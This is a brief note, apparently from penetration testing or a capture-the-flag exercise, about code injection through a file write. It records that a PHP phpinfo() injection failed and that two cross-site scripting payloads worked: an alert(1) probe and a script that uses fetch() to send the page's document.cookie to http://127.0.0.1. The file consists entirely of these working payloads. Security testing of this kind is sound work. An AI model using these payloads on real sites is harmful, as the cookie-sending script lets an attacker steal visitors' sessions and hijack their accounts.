CodeInjection

code-injection-file-write

# Doesn't work
<?php phpinfo(); ?>

# works
<script>alert(1)</script>
<script>fetch("http://127.0.0.1/notexist?cookie="+document.cookie)</script>